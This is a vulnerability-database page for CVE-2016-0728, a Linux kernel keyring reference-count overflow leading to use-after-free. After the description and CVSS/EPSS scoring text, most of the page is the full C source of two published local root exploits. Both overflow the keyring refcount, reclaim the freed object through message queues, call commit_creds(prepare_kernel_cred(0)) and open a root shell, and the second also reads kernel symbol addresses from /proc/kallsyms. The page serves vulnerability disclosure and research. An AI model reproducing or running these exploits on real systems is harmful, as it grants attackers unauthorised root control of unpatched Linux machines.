CVE-2016-0728 Detail

CVE-2016-0728

Score / Severity

7.8

High

EPSS

0.13%V3

Vector

Local

Published

2016-02-08
01h00 +00:00

Modified

2017-11-09
09h57 +00:00

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CVE.org

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CVE Descriptions

The join_session_keyring function in security/keys/process_keys.c in the Linux kernel before 4.4.1 mishandles object references in a certain error case, which allows local users to gain privileges or cause a denial of service (integer overflow and use-after-free) via crafted keyctl commands.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	7.8	HIGH	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 39277

Publication date : 2016-01-18 23h00 +00:00
Author : Perception Point Team
EDB Verified : No

/* # Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings # Date: 19/1/2016 # Exploit Author: Perception Point Team # CVE : CVE-2016-0728 */ /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */ /* $ ./cve_2016_072 PP_KEY */ /* EDB-Note: More information ~ http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/ */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <keyutils.h> #include <unistd.h> #include <time.h> #include <unistd.h> #include <sys/ipc.h> #include <sys/msg.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; #define STRUCT_LEN (0xb8 - 0x30) #define COMMIT_CREDS_ADDR (0xffffffff81094250) #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550) struct key_type { char * name; size_t datalen; void * vet_description; void * preparse; void * free_preparse; void * instantiate; void * update; void * match_preparse; void * match_free; void * revoke; void * destroy; }; void userspace_revoke(void * key) { commit_creds(prepare_kernel_cred(0)); } int main(int argc, const char *argv[]) { const char *keyring_name; size_t i = 0; unsigned long int l = 0x100000000/2; key_serial_t serial = -1; pid_t pid = -1; struct key_type * my_key_type = NULL; struct { long mtype; char mtext[STRUCT_LEN]; } msg = {0x4141414141414141, {0}}; int msqid; if (argc != 2) { puts("usage: ./keys <key_name>"); return 1; } printf("uid=%d, euid=%d\n", getuid(), geteuid()); commit_creds = (_commit_creds) COMMIT_CREDS_ADDR; prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR; my_key_type = malloc(sizeof(*my_key_type)); my_key_type->revoke = (void*)userspace_revoke; memset(msg.mtext, 'A', sizeof(msg.mtext)); // key->uid *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */ //key->perm *(int*)(&msg.mtext[64]) = 0x3f3f3f3f; //key->type *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type; if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } keyring_name = argv[1]; /* Set the new session keyring before we start */ serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); if (serial < 0) { perror("keyctl"); return -1; } if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { perror("keyctl"); return -1; } puts("Increfing..."); for (i = 1; i < 0xfffffffd; i++) { if (i == (0xffffffff - l)) { l = l/2; sleep(5); } if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("keyctl"); return -1; } } sleep(5); /* here we are going to leak the last references to overflow */ for (i=0; i<5; ++i) { if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("keyctl"); return -1; } } puts("finished increfing"); puts("forking..."); /* allocate msg struct in the kernel rewriting the freed keyring object */ for (i=0; i<64; i++) { pid = fork(); if (pid == -1) { perror("fork"); return -1; } if (pid == 0) { sleep(2); if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } for (i = 0; i < 64; i++) { if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { perror("msgsnd"); exit(1); } } sleep(-1); exit(1); } } puts("finished forking"); sleep(5); /* call userspace_revoke from kernel */ puts("caling revoke..."); if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { perror("keyctl_revoke"); } printf("uid=%d, euid=%d\n", getuid(), geteuid()); execl("/bin/sh", "/bin/sh", NULL); return 0; }

Exploit Database EDB-ID : 40003

Publication date : 2016-01-18 23h00 +00:00
Author : Federico Bento
EDB Verified : No

/* # Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings # Date: 19/1/2016 # Exploit Author: Perception Point Team # CVE : CVE-2016-0728 */ /* CVE-2016-0728 local root exploit modified by Federico Bento to read kernel symbols from /proc/kallsyms props to grsecurity/PaX for preventing this in so many ways $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall $ ./cve_2016_072 PP_KEY */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <keyutils.h> #include <unistd.h> #include <time.h> #include <unistd.h> #include <sys/ipc.h> #include <sys/msg.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; #define STRUCT_LEN (0xb8 - 0x30) #define COMMIT_CREDS_ADDR (0xffffffff810bb050) #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370) struct key_type { char * name; size_t datalen; void * vet_description; void * preparse; void * free_preparse; void * instantiate; void * update; void * match_preparse; void * match_free; void * revoke; void * destroy; }; /* thanks spender - Federico Bento */ static unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { fprintf(stdout, "Unable to obtain symbol listing!\n"); exit(0); } ret = 0; while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } } fclose(f); return 0; } void userspace_revoke(void * key) { commit_creds(prepare_kernel_cred(0)); } int main(int argc, const char *argv[]) { const char *keyring_name; size_t i = 0; unsigned long int l = 0x100000000/2; key_serial_t serial = -1; pid_t pid = -1; struct key_type * my_key_type = NULL; struct { long mtype; char mtext[STRUCT_LEN]; } msg = {0x4141414141414141, {0}}; int msqid; if (argc != 2) { puts("usage: ./keys <key_name>"); return 1; } printf("[+] uid=%d, euid=%d\n", getuid(), geteuid()); commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); if(commit_creds == NULL || prepare_kernel_cred == NULL) { commit_creds = (_commit_creds)COMMIT_CREDS_ADDR; prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR; if(commit_creds == (_commit_creds)0xffffffff810bb050 || prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370) puts("[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source"); } my_key_type = malloc(sizeof(*my_key_type)); my_key_type->revoke = (void*)userspace_revoke; memset(msg.mtext, 'A', sizeof(msg.mtext)); // key->uid *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */ //key->perm *(int*)(&msg.mtext[64]) = 0x3f3f3f3f; //key->type *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type; if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } keyring_name = argv[1]; /* Set the new session keyring before we start */ serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); if (serial < 0) { perror("keyctl"); return -1; } if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { perror("keyctl"); return -1; } puts("[+] Increfing..."); for (i = 1; i < 0xfffffffd; i++) { if (i == (0xffffffff - l)) { l = l/2; sleep(5); } if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("[-] keyctl"); return -1; } } sleep(5); /* here we are going to leak the last references to overflow */ for (i=0; i<5; ++i) { if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("[-] keyctl"); return -1; } } puts("[+] Finished increfing"); puts("[+] Forking..."); /* allocate msg struct in the kernel rewriting the freed keyring object */ for (i=0; i<64; i++) { pid = fork(); if (pid == -1) { perror("[-] fork"); return -1; } if (pid == 0) { sleep(2); if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("[-] msgget"); exit(1); } for (i = 0; i < 64; i++) { if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { perror("[-] msgsnd"); exit(1); } } sleep(-1); exit(1); } } puts("[+] Finished forking"); sleep(5); /* call userspace_revoke from kernel */ puts("[+] Caling revoke..."); if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { perror("[+] keyctl_revoke"); } printf("uid=%d, euid=%d\n", getuid(), geteuid()); execl("/bin/sh", "/bin/sh", NULL); return 0; }